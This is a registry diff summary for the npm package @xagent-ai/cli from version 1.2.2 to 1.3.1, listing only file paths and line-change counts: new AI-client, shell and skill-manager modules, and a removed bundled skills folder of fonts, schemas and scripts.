@xagent-ai/cli 1.2.2 → 1.3.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.github/ISSUE_TEMPLATE/bug_report.md +38 -38
- package/.github/ISSUE_TEMPLATE/feature_request.md +20 -20
- package/.github/release.yml +76 -0
- package/.github/workflows/ci.yml +75 -0
- package/.github/workflows/release.yml +103 -0
- package/.gitmodules +3 -3
- package/README.md +326 -280
- package/README_CN.md +325 -279
- package/dist/agents.d.ts.map +1 -1
- package/dist/agents.js +7 -3
- package/dist/agents.js.map +1 -1
- package/dist/ai-client/factory.d.ts +40 -0
- package/dist/ai-client/factory.d.ts.map +1 -0
- package/dist/ai-client/factory.js +100 -0
- package/dist/ai-client/factory.js.map +1 -0
- package/dist/ai-client/index.d.ts +20 -0
- package/dist/ai-client/index.d.ts.map +1 -0
- package/dist/ai-client/index.js +49 -0
- package/dist/ai-client/index.js.map +1 -0
- package/dist/ai-client/providers/anthropic.d.ts +57 -0
- package/dist/ai-client/providers/anthropic.d.ts.map +1 -0
- package/dist/ai-client/providers/anthropic.js +406 -0
- package/dist/ai-client/providers/anthropic.js.map +1 -0
- package/dist/ai-client/providers/openai.d.ts +57 -0
- package/dist/ai-client/providers/openai.d.ts.map +1 -0
- package/dist/ai-client/providers/openai.js +290 -0
- package/dist/ai-client/providers/openai.js.map +1 -0
- package/dist/ai-client/providers/remote.d.ts +110 -0
- package/dist/ai-client/providers/remote.d.ts.map +1 -0
- package/dist/ai-client/providers/remote.js +352 -0
- package/dist/ai-client/providers/remote.js.map +1 -0
- package/dist/ai-client/registry.d.ts +51 -0
- package/dist/ai-client/registry.d.ts.map +1 -0
- package/dist/ai-client/registry.js +81 -0
- package/dist/ai-client/registry.js.map +1 -0
- package/dist/ai-client/types.d.ts +274 -0
- package/dist/ai-client/types.d.ts.map +1 -0
- package/dist/ai-client/types.js +90 -0
- package/dist/ai-client/types.js.map +1 -0
- package/dist/ai-client-factory.d.ts +62 -0
- package/dist/ai-client-factory.d.ts.map +1 -0
- package/dist/ai-client-factory.js +157 -0
- package/dist/ai-client-factory.js.map +1 -0
- package/dist/auth.d.ts +23 -1
- package/dist/auth.d.ts.map +1 -1
- package/dist/auth.js +164 -174
- package/dist/auth.js.map +1 -1
- package/dist/cancellation.d.ts +5 -4
- package/dist/cancellation.d.ts.map +1 -1
- package/dist/cancellation.js +53 -32
- package/dist/cancellation.js.map +1 -1
- package/dist/checkpoint.d.ts +2 -1
- package/dist/checkpoint.d.ts.map +1 -1
- package/dist/checkpoint.js +39 -6
- package/dist/checkpoint.js.map +1 -1
- package/dist/cli.js +742 -29
- package/dist/cli.js.map +1 -1
- package/dist/config.d.ts +10 -4
- package/dist/config.d.ts.map +1 -1
- package/dist/config.js +62 -25
- package/dist/config.js.map +1 -1
- package/dist/context-compressor.d.ts +82 -18
- package/dist/context-compressor.d.ts.map +1 -1
- package/dist/context-compressor.js +718 -154
- package/dist/context-compressor.js.map +1 -1
- package/dist/conversation.d.ts +1 -1
- package/dist/conversation.d.ts.map +1 -1
- package/dist/conversation.js +8 -7
- package/dist/conversation.js.map +1 -1
- package/dist/gui-subagent/action-parser/actionParser.d.ts.map +1 -1
- package/dist/gui-subagent/action-parser/actionParser.js +6 -4
- package/dist/gui-subagent/action-parser/actionParser.js.map +1 -1
- package/dist/gui-subagent/agent/gui-agent.d.ts +39 -2
- package/dist/gui-subagent/agent/gui-agent.d.ts.map +1 -1
- package/dist/gui-subagent/agent/gui-agent.js +189 -74
- package/dist/gui-subagent/agent/gui-agent.js.map +1 -1
- package/dist/gui-subagent/index.d.ts +23 -1
- package/dist/gui-subagent/index.d.ts.map +1 -1
- package/dist/gui-subagent/index.js +6 -0
- package/dist/gui-subagent/index.js.map +1 -1
- package/dist/gui-subagent/operator/base-operator.d.ts.map +1 -1
- package/dist/gui-subagent/operator/base-operator.js +0 -1
- package/dist/gui-subagent/operator/base-operator.js.map +1 -1
- package/dist/gui-subagent/operator/computer-operator.d.ts.map +1 -1
- package/dist/gui-subagent/operator/computer-operator.js +31 -8
- package/dist/gui-subagent/operator/computer-operator.js.map +1 -1
- package/dist/gui-subagent/types/actions.d.ts +1 -1
- package/dist/gui-subagent/types/actions.d.ts.map +1 -1
- package/dist/gui-subagent/types/actions.js +0 -1
- package/dist/gui-subagent/types/actions.js.map +1 -1
- package/dist/gui-subagent/types/operator.d.ts +1 -1
- package/dist/gui-subagent/types/operator.d.ts.map +1 -1
- package/dist/index.d.ts +1 -2
- package/dist/index.d.ts.map +1 -1
- package/dist/index.js +1 -2
- package/dist/index.js.map +1 -1
- package/dist/input-processor.d.ts.map +1 -1
- package/dist/input-processor.js +8 -5
- package/dist/input-processor.js.map +1 -1
- package/dist/logger.d.ts.map +1 -1
- package/dist/logger.js +1 -1
- package/dist/logger.js.map +1 -1
- package/dist/mcp.d.ts +7 -1
- package/dist/mcp.d.ts.map +1 -1
- package/dist/mcp.js +157 -49
- package/dist/mcp.js.map +1 -1
- package/dist/memory.d.ts.map +1 -1
- package/dist/memory.js +3 -3
- package/dist/memory.js.map +1 -1
- package/dist/output-util.d.ts +27 -0
- package/dist/output-util.d.ts.map +1 -0
- package/dist/output-util.js +74 -0
- package/dist/output-util.js.map +1 -0
- package/dist/retry.js +1 -1
- package/dist/retry.js.map +1 -1
- package/dist/ripgrep.d.ts +29 -0
- package/dist/ripgrep.d.ts.map +1 -0
- package/dist/ripgrep.js +294 -0
- package/dist/ripgrep.js.map +1 -0
- package/dist/sdk-output-adapter.d.ts +34 -1
- package/dist/sdk-output-adapter.d.ts.map +1 -1
- package/dist/sdk-output-adapter.js +67 -2
- package/dist/sdk-output-adapter.js.map +1 -1
- package/dist/sdk-session.d.ts.map +1 -1
- package/dist/sdk-session.js +2 -0
- package/dist/sdk-session.js.map +1 -1
- package/dist/session-manager.js +3 -3
- package/dist/session-manager.js.map +1 -1
- package/dist/session.d.ts +116 -6
- package/dist/session.d.ts.map +1 -1
- package/dist/session.js +1416 -448
- package/dist/session.js.map +1 -1
- package/dist/shell.d.ts +33 -0
- package/dist/shell.d.ts.map +1 -0
- package/dist/shell.js +126 -0
- package/dist/shell.js.map +1 -0
- package/dist/skill-installer.d.ts +38 -0
- package/dist/skill-installer.d.ts.map +1 -0
- package/dist/skill-installer.js +447 -0
- package/dist/skill-installer.js.map +1 -0
- package/dist/skill-invoker.d.ts +8 -2
- package/dist/skill-invoker.d.ts.map +1 -1
- package/dist/skill-invoker.js +36 -15
- package/dist/skill-invoker.js.map +1 -1
- package/dist/skill-loader.d.ts +8 -3
- package/dist/skill-loader.d.ts.map +1 -1
- package/dist/skill-loader.js +51 -48
- package/dist/skill-loader.js.map +1 -1
- package/dist/skill-manager.d.ts +85 -0
- package/dist/skill-manager.d.ts.map +1 -0
- package/dist/skill-manager.js +341 -0
- package/dist/skill-manager.js.map +1 -0
- package/dist/slash-commands.d.ts +39 -2
- package/dist/slash-commands.d.ts.map +1 -1
- package/dist/slash-commands.js +934 -305
- package/dist/slash-commands.js.map +1 -1
- package/dist/smart-approval.d.ts +20 -1
- package/dist/smart-approval.d.ts.map +1 -1
- package/dist/smart-approval.js +125 -56
- package/dist/smart-approval.js.map +1 -1
- package/dist/system-prompt-generator.d.ts +6 -0
- package/dist/system-prompt-generator.d.ts.map +1 -1
- package/dist/system-prompt-generator.js +86 -36
- package/dist/system-prompt-generator.js.map +1 -1
- package/dist/terminal.d.ts +28 -0
- package/dist/terminal.d.ts.map +1 -0
- package/dist/terminal.js +82 -0
- package/dist/terminal.js.map +1 -0
- package/dist/theme.d.ts.map +1 -1
- package/dist/theme.js +8 -7
- package/dist/theme.js.map +1 -1
- package/dist/tools.d.ts +38 -7
- package/dist/tools.d.ts.map +1 -1
- package/dist/tools.js +1249 -617
- package/dist/tools.js.map +1 -1
- package/dist/truncate.d.ts +55 -0
- package/dist/truncate.d.ts.map +1 -0
- package/dist/truncate.js +130 -0
- package/dist/truncate.js.map +1 -0
- package/dist/types.d.ts +84 -9
- package/dist/types.d.ts.map +1 -1
- package/dist/types.js +49 -0
- package/dist/types.js.map +1 -1
- package/dist/update.d.ts.map +1 -1
- package/dist/update.js +28 -36
- package/dist/update.js.map +1 -1
- package/dist/workflow.d.ts +5 -1
- package/dist/workflow.d.ts.map +1 -1
- package/dist/workflow.js +61 -49
- package/dist/workflow.js.map +1 -1
- package/docs/architecture/mcp-integration-guide.md +304 -194
- package/docs/architecture/overview.md +169 -169
- package/docs/architecture/tool-system-design.md +134 -134
- package/docs/cli/commands.md +349 -238
- package/docs/smart-mode.md +281 -281
- package/docs/third-party-models.md +440 -439
- package/find-skills/SKILL.md +133 -0
- package/package.json +91 -90
- package/scripts/install-ripgrep.js +241 -0
- package/src/agents.ts +7 -3
- package/src/ai-client/factory.ts +116 -0
- package/src/ai-client/index.ts +61 -0
- package/src/ai-client/providers/anthropic.ts +475 -0
- package/src/ai-client/providers/openai.ts +348 -0
- package/src/ai-client/providers/remote.ts +439 -0
- package/src/ai-client/registry.ts +97 -0
- package/src/ai-client/types.ts +364 -0
- package/src/ai-client-factory.ts +204 -0
- package/src/auth.ts +661 -614
- package/src/cancellation.ts +202 -176
- package/src/checkpoint.ts +255 -219
- package/src/cli.ts +1523 -743
- package/src/config.ts +341 -297
- package/src/context-compressor.ts +987 -290
- package/src/conversation.ts +290 -288
- package/src/gui-subagent/action-parser/actionParser.ts +318 -315
- package/src/gui-subagent/action-parser/constants.ts +14 -14
- package/src/gui-subagent/action-parser/index.ts +8 -8
- package/src/gui-subagent/action-parser/types.ts +31 -31
- package/src/gui-subagent/agent/gui-agent.ts +1234 -1089
- package/src/gui-subagent/agent/index.ts +5 -5
- package/src/gui-subagent/index.ts +185 -163
- package/src/gui-subagent/operator/base-operator.ts +244 -245
- package/src/gui-subagent/operator/computer-operator.ts +541 -520
- package/src/gui-subagent/operator/index.ts +6 -6
- package/src/gui-subagent/types/actions.ts +260 -262
- package/src/gui-subagent/types/index.ts +6 -6
- package/src/gui-subagent/types/operator.ts +106 -106
- package/src/gui-subagent/utils.ts +51 -51
- package/src/index.ts +17 -18
- package/src/input-processor.ts +8 -5
- package/src/logger.ts +436 -438
- package/src/mcp.ts +793 -682
- package/src/memory.ts +343 -344
- package/src/output-util.ts +80 -0
- package/src/retry.ts +1 -1
- package/src/ripgrep.ts +370 -0
- package/src/sdk-output-adapter.ts +842 -0
- package/src/sdk-session.ts +62 -0
- package/src/session-manager.ts +308 -308
- package/src/session.ts +1775 -573
- package/src/shell.ts +134 -0
- package/src/skill-installer.ts +518 -0
- package/src/skill-invoker.ts +959 -935
- package/src/skill-loader.ts +501 -496
- package/src/skill-manager.ts +385 -0
- package/src/slash-commands.ts +2189 -1389
- package/src/smart-approval.ts +193 -74
- package/src/system-prompt-generator.ts +91 -36
- package/src/terminal.ts +96 -0
- package/src/theme.ts +739 -738
- package/src/tools.ts +1790 -931
- package/src/truncate.ts +173 -0
- package/src/types.ts +337 -198
- package/src/update.ts +33 -40
- package/src/workflow.ts +521 -508
- package/test/cli-launch.test.ts +279 -0
- package/tsconfig.json +22 -22
- package/vitest.config.ts +21 -19
- package/dist/ai-client.d.ts +0 -86
- package/dist/ai-client.d.ts.map +0 -1
- package/dist/ai-client.js +0 -1372
- package/dist/ai-client.js.map +0 -1
- package/dist/gui-subagent/operator/browser-operator.d.ts +0 -36
- package/dist/gui-subagent/operator/browser-operator.d.ts.map +0 -1
- package/dist/gui-subagent/operator/browser-operator.js +0 -306
- package/dist/gui-subagent/operator/browser-operator.js.map +0 -1
- package/dist/gui-subagent/operator/desktop-operator.d.ts +0 -55
- package/dist/gui-subagent/operator/desktop-operator.d.ts.map +0 -1
- package/dist/gui-subagent/operator/desktop-operator.js +0 -527
- package/dist/gui-subagent/operator/desktop-operator.js.map +0 -1
- package/dist/hook.d.ts +0 -73
- package/dist/hook.d.ts.map +0 -1
- package/dist/hook.js +0 -156
- package/dist/hook.js.map +0 -1
- package/dist/input-history.d.ts +0 -24
- package/dist/input-history.d.ts.map +0 -1
- package/dist/input-history.js +0 -94
- package/dist/input-history.js.map +0 -1
- package/dist/keyboard-manager.d.ts +0 -151
- package/dist/keyboard-manager.d.ts.map +0 -1
- package/dist/keyboard-manager.js +0 -396
- package/dist/keyboard-manager.js.map +0 -1
- package/dist/print-system-prompt.d.ts +0 -2
- package/dist/print-system-prompt.d.ts.map +0 -1
- package/dist/print-system-prompt.js +0 -40
- package/dist/print-system-prompt.js.map +0 -1
- package/dist/remote-ai-client.d.ts +0 -104
- package/dist/remote-ai-client.d.ts.map +0 -1
- package/dist/remote-ai-client.js +0 -552
- package/dist/remote-ai-client.js.map +0 -1
- package/dist/sdk-session-v2.d.ts +0 -13
- package/dist/sdk-session-v2.d.ts.map +0 -1
- package/dist/sdk-session-v2.js +0 -46
- package/dist/sdk-session-v2.js.map +0 -1
- package/dist/test-boundary-conditions.d.ts.map +0 -1
- package/dist/test-boundary-conditions.js.map +0 -1
- package/dist/test-cancellation-fix.d.ts.map +0 -1
- package/dist/test-cancellation-fix.js.map +0 -1
- package/dist/test-input-history.d.ts.map +0 -1
- package/dist/test-input-history.js.map +0 -1
- package/dist/test-interaction-flow.d.ts.map +0 -1
- package/dist/test-interaction-flow.js.map +0 -1
- package/dist/test-quick.d.ts.map +0 -1
- package/dist/test-quick.js.map +0 -1
- package/dist/test-user-interaction.d.ts.map +0 -1
- package/dist/test-user-interaction.js.map +0 -1
- package/dist/tools/edit-diff.d.ts +0 -32
- package/dist/tools/edit-diff.d.ts.map +0 -1
- package/dist/tools/edit-diff.js +0 -185
- package/dist/tools/edit-diff.js.map +0 -1
- package/dist/tools/edit.d.ts +0 -11
- package/dist/tools/edit.d.ts.map +0 -1
- package/dist/tools/edit.js +0 -129
- package/dist/tools/edit.js.map +0 -1
- package/dist/unified-session.d.ts +0 -42
- package/dist/unified-session.d.ts.map +0 -1
- package/dist/unified-session.js +0 -271
- package/dist/unified-session.js.map +0 -1
- package/skills/.claude-plugin/marketplace.json +0 -45
- package/skills/README.md +0 -94
- package/skills/THIRD_PARTY_NOTICES.md +0 -405
- package/skills/skills/algorithmic-art/LICENSE.txt +0 -202
- package/skills/skills/algorithmic-art/SKILL.md +0 -405
- package/skills/skills/algorithmic-art/templates/generator_template.js +0 -223
- package/skills/skills/algorithmic-art/templates/viewer.html +0 -599
- package/skills/skills/brand-guidelines/LICENSE.txt +0 -202
- package/skills/skills/brand-guidelines/SKILL.md +0 -73
- package/skills/skills/canvas-design/LICENSE.txt +0 -202
- package/skills/skills/canvas-design/SKILL.md +0 -130
- package/skills/skills/canvas-design/canvas-fonts/ArsenalSC-OFL.txt +0 -93
- package/skills/skills/canvas-design/canvas-fonts/ArsenalSC-Regular.ttf +0 -0
- package/skills/skills/canvas-design/canvas-fonts/BigShoulders-Bold.ttf +0 -0
- package/skills/skills/canvas-design/canvas-fonts/BigShoulders-OFL.txt +0 -93
- package/skills/skills/canvas-design/canvas-fonts/BigShoulders-Regular.ttf +0 -0
- package/skills/skills/canvas-design/canvas-fonts/Boldonse-OFL.txt +0 -93
- package/skills/skills/canvas-design/canvas-fonts/Boldonse-Regular.ttf +0 -0
- package/skills/skills/canvas-design/canvas-fonts/BricolageGrotesque-Bold.ttf +0 -0
- package/skills/skills/canvas-design/canvas-fonts/BricolageGrotesque-OFL.txt +0 -93
- package/skills/skills/canvas-design/canvas-fonts/BricolageGrotesque-Regular.ttf +0 -0
- package/skills/skills/canvas-design/canvas-fonts/CrimsonPro-Bold.ttf +0 -0
- package/skills/skills/canvas-design/canvas-fonts/CrimsonPro-Italic.ttf +0 -0
- package/skills/skills/canvas-design/canvas-fonts/CrimsonPro-OFL.txt +0 -93
- package/skills/skills/canvas-design/canvas-fonts/CrimsonPro-Regular.ttf +0 -0
- package/skills/skills/canvas-design/canvas-fonts/DMMono-OFL.txt +0 -93
- package/skills/skills/canvas-design/canvas-fonts/DMMono-Regular.ttf +0 -0
- package/skills/skills/canvas-design/canvas-fonts/EricaOne-OFL.txt +0 -94
- package/skills/skills/canvas-design/canvas-fonts/EricaOne-Regular.ttf +0 -0
- package/skills/skills/canvas-design/canvas-fonts/GeistMono-Bold.ttf +0 -0
- package/skills/skills/canvas-design/canvas-fonts/GeistMono-OFL.txt +0 -93
- package/skills/skills/canvas-design/canvas-fonts/GeistMono-Regular.ttf +0 -0
- package/skills/skills/canvas-design/canvas-fonts/Gloock-OFL.txt +0 -93
- package/skills/skills/canvas-design/canvas-fonts/Gloock-Regular.ttf +0 -0
- package/skills/skills/canvas-design/canvas-fonts/IBMPlexMono-Bold.ttf +0 -0
- package/skills/skills/canvas-design/canvas-fonts/IBMPlexMono-OFL.txt +0 -93
- package/skills/skills/canvas-design/canvas-fonts/IBMPlexMono-Regular.ttf +0 -0
- package/skills/skills/canvas-design/canvas-fonts/IBMPlexSerif-Bold.ttf +0 -0
- package/skills/skills/canvas-design/canvas-fonts/IBMPlexSerif-BoldItalic.ttf +0 -0
- package/skills/skills/canvas-design/canvas-fonts/IBMPlexSerif-Italic.ttf +0 -0
- package/skills/skills/canvas-design/canvas-fonts/IBMPlexSerif-Regular.ttf +0 -0
- package/skills/skills/canvas-design/canvas-fonts/InstrumentSans-Bold.ttf +0 -0
- package/skills/skills/canvas-design/canvas-fonts/InstrumentSans-BoldItalic.ttf +0 -0
- package/skills/skills/canvas-design/canvas-fonts/InstrumentSans-Italic.ttf +0 -0
- package/skills/skills/canvas-design/canvas-fonts/InstrumentSans-OFL.txt +0 -93
- package/skills/skills/canvas-design/canvas-fonts/InstrumentSans-Regular.ttf +0 -0
- package/skills/skills/canvas-design/canvas-fonts/InstrumentSerif-Italic.ttf +0 -0
- package/skills/skills/canvas-design/canvas-fonts/InstrumentSerif-Regular.ttf +0 -0
- package/skills/skills/canvas-design/canvas-fonts/Italiana-OFL.txt +0 -93
- package/skills/skills/canvas-design/canvas-fonts/Italiana-Regular.ttf +0 -0
- package/skills/skills/canvas-design/canvas-fonts/JetBrainsMono-Bold.ttf +0 -0
- package/skills/skills/canvas-design/canvas-fonts/JetBrainsMono-OFL.txt +0 -93
- package/skills/skills/canvas-design/canvas-fonts/JetBrainsMono-Regular.ttf +0 -0
- package/skills/skills/canvas-design/canvas-fonts/Jura-Light.ttf +0 -0
- package/skills/skills/canvas-design/canvas-fonts/Jura-Medium.ttf +0 -0
- package/skills/skills/canvas-design/canvas-fonts/Jura-OFL.txt +0 -93
- package/skills/skills/canvas-design/canvas-fonts/LibreBaskerville-OFL.txt +0 -93
- package/skills/skills/canvas-design/canvas-fonts/LibreBaskerville-Regular.ttf +0 -0
- package/skills/skills/canvas-design/canvas-fonts/Lora-Bold.ttf +0 -0
- package/skills/skills/canvas-design/canvas-fonts/Lora-BoldItalic.ttf +0 -0
- package/skills/skills/canvas-design/canvas-fonts/Lora-Italic.ttf +0 -0
- package/skills/skills/canvas-design/canvas-fonts/Lora-OFL.txt +0 -93
- package/skills/skills/canvas-design/canvas-fonts/Lora-Regular.ttf +0 -0
- package/skills/skills/canvas-design/canvas-fonts/NationalPark-Bold.ttf +0 -0
- package/skills/skills/canvas-design/canvas-fonts/NationalPark-OFL.txt +0 -93
- package/skills/skills/canvas-design/canvas-fonts/NationalPark-Regular.ttf +0 -0
- package/skills/skills/canvas-design/canvas-fonts/NothingYouCouldDo-OFL.txt +0 -93
- package/skills/skills/canvas-design/canvas-fonts/NothingYouCouldDo-Regular.ttf +0 -0
- package/skills/skills/canvas-design/canvas-fonts/Outfit-Bold.ttf +0 -0
- package/skills/skills/canvas-design/canvas-fonts/Outfit-OFL.txt +0 -93
- package/skills/skills/canvas-design/canvas-fonts/Outfit-Regular.ttf +0 -0
- package/skills/skills/canvas-design/canvas-fonts/PixelifySans-Medium.ttf +0 -0
- package/skills/skills/canvas-design/canvas-fonts/PixelifySans-OFL.txt +0 -93
- package/skills/skills/canvas-design/canvas-fonts/PoiretOne-OFL.txt +0 -93
- package/skills/skills/canvas-design/canvas-fonts/PoiretOne-Regular.ttf +0 -0
- package/skills/skills/canvas-design/canvas-fonts/RedHatMono-Bold.ttf +0 -0
- package/skills/skills/canvas-design/canvas-fonts/RedHatMono-OFL.txt +0 -93
- package/skills/skills/canvas-design/canvas-fonts/RedHatMono-Regular.ttf +0 -0
- package/skills/skills/canvas-design/canvas-fonts/Silkscreen-OFL.txt +0 -93
- package/skills/skills/canvas-design/canvas-fonts/Silkscreen-Regular.ttf +0 -0
- package/skills/skills/canvas-design/canvas-fonts/SmoochSans-Medium.ttf +0 -0
- package/skills/skills/canvas-design/canvas-fonts/SmoochSans-OFL.txt +0 -93
- package/skills/skills/canvas-design/canvas-fonts/Tektur-Medium.ttf +0 -0
- package/skills/skills/canvas-design/canvas-fonts/Tektur-OFL.txt +0 -93
- package/skills/skills/canvas-design/canvas-fonts/Tektur-Regular.ttf +0 -0
- package/skills/skills/canvas-design/canvas-fonts/WorkSans-Bold.ttf +0 -0
- package/skills/skills/canvas-design/canvas-fonts/WorkSans-BoldItalic.ttf +0 -0
- package/skills/skills/canvas-design/canvas-fonts/WorkSans-Italic.ttf +0 -0
- package/skills/skills/canvas-design/canvas-fonts/WorkSans-OFL.txt +0 -93
- package/skills/skills/canvas-design/canvas-fonts/WorkSans-Regular.ttf +0 -0
- package/skills/skills/canvas-design/canvas-fonts/YoungSerif-OFL.txt +0 -93
- package/skills/skills/canvas-design/canvas-fonts/YoungSerif-Regular.ttf +0 -0
- package/skills/skills/doc-coauthoring/SKILL.md +0 -375
- package/skills/skills/docx/LICENSE.txt +0 -30
- package/skills/skills/docx/SKILL.md +0 -197
- package/skills/skills/docx/docx-js.md +0 -350
- package/skills/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/dml-chart.xsd +0 -1499
- package/skills/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/dml-chartDrawing.xsd +0 -146
- package/skills/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/dml-diagram.xsd +0 -1085
- package/skills/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/dml-lockedCanvas.xsd +0 -11
- package/skills/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/dml-main.xsd +0 -3081
- package/skills/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/dml-picture.xsd +0 -23
- package/skills/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/dml-spreadsheetDrawing.xsd +0 -185
- package/skills/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/dml-wordprocessingDrawing.xsd +0 -287
- package/skills/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/pml.xsd +0 -1676
- package/skills/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/shared-additionalCharacteristics.xsd +0 -28
- package/skills/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/shared-bibliography.xsd +0 -144
- package/skills/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/shared-commonSimpleTypes.xsd +0 -174
- package/skills/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/shared-customXmlDataProperties.xsd +0 -25
- package/skills/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/shared-customXmlSchemaProperties.xsd +0 -18
- package/skills/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/shared-documentPropertiesCustom.xsd +0 -59
- package/skills/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/shared-documentPropertiesExtended.xsd +0 -56
- package/skills/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/shared-documentPropertiesVariantTypes.xsd +0 -195
- package/skills/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/shared-math.xsd +0 -582
- package/skills/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/shared-relationshipReference.xsd +0 -25
- package/skills/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/sml.xsd +0 -4439
- package/skills/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/vml-main.xsd +0 -570
- package/skills/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/vml-officeDrawing.xsd +0 -509
- package/skills/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/vml-presentationDrawing.xsd +0 -12
- package/skills/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/vml-spreadsheetDrawing.xsd +0 -108
- package/skills/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/vml-wordprocessingDrawing.xsd +0 -96
- package/skills/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/wml.xsd +0 -3646
- package/skills/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/xml.xsd +0 -116
- package/skills/skills/docx/ooxml/schemas/ecma/fouth-edition/opc-contentTypes.xsd +0 -42
- package/skills/skills/docx/ooxml/schemas/ecma/fouth-edition/opc-coreProperties.xsd +0 -50
- package/skills/skills/docx/ooxml/schemas/ecma/fouth-edition/opc-digSig.xsd +0 -49
- package/skills/skills/docx/ooxml/schemas/ecma/fouth-edition/opc-relationships.xsd +0 -33
- package/skills/skills/docx/ooxml/schemas/mce/mc.xsd +0 -75
- package/skills/skills/docx/ooxml/schemas/microsoft/wml-2010.xsd +0 -560
- package/skills/skills/docx/ooxml/schemas/microsoft/wml-2012.xsd +0 -67
- package/skills/skills/docx/ooxml/schemas/microsoft/wml-2018.xsd +0 -14
- package/skills/skills/docx/ooxml/schemas/microsoft/wml-cex-2018.xsd +0 -20
- package/skills/skills/docx/ooxml/schemas/microsoft/wml-cid-2016.xsd +0 -13
- package/skills/skills/docx/ooxml/schemas/microsoft/wml-sdtdatahash-2020.xsd +0 -4
- package/skills/skills/docx/ooxml/schemas/microsoft/wml-symex-2015.xsd +0 -8
- package/skills/skills/docx/ooxml/scripts/pack.py +0 -159
- package/skills/skills/docx/ooxml/scripts/unpack.py +0 -29
- package/skills/skills/docx/ooxml/scripts/validate.py +0 -69
- package/skills/skills/docx/ooxml/scripts/validation/__init__.py +0 -15
- package/skills/skills/docx/ooxml/scripts/validation/base.py +0 -951
- package/skills/skills/docx/ooxml/scripts/validation/docx.py +0 -274
- package/skills/skills/docx/ooxml/scripts/validation/pptx.py +0 -315
- package/skills/skills/docx/ooxml/scripts/validation/redlining.py +0 -279
- package/skills/skills/docx/ooxml.md +0 -610
- package/skills/skills/docx/scripts/__init__.py +0 -1
- package/skills/skills/docx/scripts/document.py +0 -1276
- package/skills/skills/docx/scripts/templates/comments.xml +0 -3
- package/skills/skills/docx/scripts/templates/commentsExtended.xml +0 -3
- package/skills/skills/docx/scripts/templates/commentsExtensible.xml +0 -3
- package/skills/skills/docx/scripts/templates/commentsIds.xml +0 -3
- package/skills/skills/docx/scripts/templates/people.xml +0 -3
- package/skills/skills/docx/scripts/utilities.py +0 -374
- package/skills/skills/frontend-design/LICENSE.txt +0 -177
- package/skills/skills/frontend-design/SKILL.md +0 -42
- package/skills/skills/internal-comms/LICENSE.txt +0 -202
- package/skills/skills/internal-comms/SKILL.md +0 -32
- package/skills/skills/internal-comms/examples/3p-updates.md +0 -47
- package/skills/skills/internal-comms/examples/company-newsletter.md +0 -65
- package/skills/skills/internal-comms/examples/faq-answers.md +0 -30
- package/skills/skills/internal-comms/examples/general-comms.md +0 -16
- package/skills/skills/mcp-builder/LICENSE.txt +0 -202
- package/skills/skills/mcp-builder/SKILL.md +0 -236
- package/skills/skills/mcp-builder/reference/evaluation.md +0 -602
- package/skills/skills/mcp-builder/reference/mcp_best_practices.md +0 -249
- package/skills/skills/mcp-builder/reference/node_mcp_server.md +0 -970
- package/skills/skills/mcp-builder/reference/python_mcp_server.md +0 -719
- package/skills/skills/mcp-builder/scripts/connections.py +0 -151
- package/skills/skills/mcp-builder/scripts/evaluation.py +0 -373
- package/skills/skills/mcp-builder/scripts/example_evaluation.xml +0 -22
- package/skills/skills/mcp-builder/scripts/requirements.txt +0 -2
- package/skills/skills/pdf/LICENSE.txt +0 -30
- package/skills/skills/pdf/SKILL.md +0 -294
- package/skills/skills/pdf/forms.md +0 -205
- package/skills/skills/pdf/reference.md +0 -612
- package/skills/skills/pdf/scripts/check_bounding_boxes.py +0 -70
- package/skills/skills/pdf/scripts/check_bounding_boxes_test.py +0 -226
- package/skills/skills/pdf/scripts/check_fillable_fields.py +0 -12
- package/skills/skills/pdf/scripts/convert_pdf_to_images.py +0 -35
- package/skills/skills/pdf/scripts/create_validation_image.py +0 -41
- package/skills/skills/pdf/scripts/extract_form_field_info.py +0 -152
- package/skills/skills/pdf/scripts/fill_fillable_fields.py +0 -114
- package/skills/skills/pdf/scripts/fill_pdf_form_with_annotations.py +0 -108
- package/skills/skills/pptx/LICENSE.txt +0 -30
- package/skills/skills/pptx/SKILL.md +0 -484
- package/skills/skills/pptx/html2pptx.md +0 -625
- package/skills/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/dml-chart.xsd +0 -1499
- package/skills/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/dml-chartDrawing.xsd +0 -146
- package/skills/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/dml-diagram.xsd +0 -1085
- package/skills/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/dml-lockedCanvas.xsd +0 -11
- package/skills/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/dml-main.xsd +0 -3081
- package/skills/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/dml-picture.xsd +0 -23
- package/skills/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/dml-spreadsheetDrawing.xsd +0 -185
- package/skills/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/dml-wordprocessingDrawing.xsd +0 -287
